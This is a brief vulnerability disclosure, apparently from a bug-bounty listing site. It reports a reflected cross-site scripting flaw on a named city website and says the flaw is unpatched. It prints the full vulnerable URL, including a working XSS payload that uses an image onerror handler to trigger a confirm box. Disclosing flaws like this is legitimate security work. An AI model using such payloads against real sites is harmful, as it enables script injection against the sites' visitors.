mtnbrook.org XSS vulnerability

Vulnerable URL: http://www.mtnbrook.org/Default.asp?ID=24=City%20Calendar=display=671=1%3C!%27/%22/%27/%22/--%3E%3C/Script%3E%3CImage%20Srcset=K%20/;%20Onerror=confirmOPENBUGBOUNTY%20//%3E=LIST=2017-5-17 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017...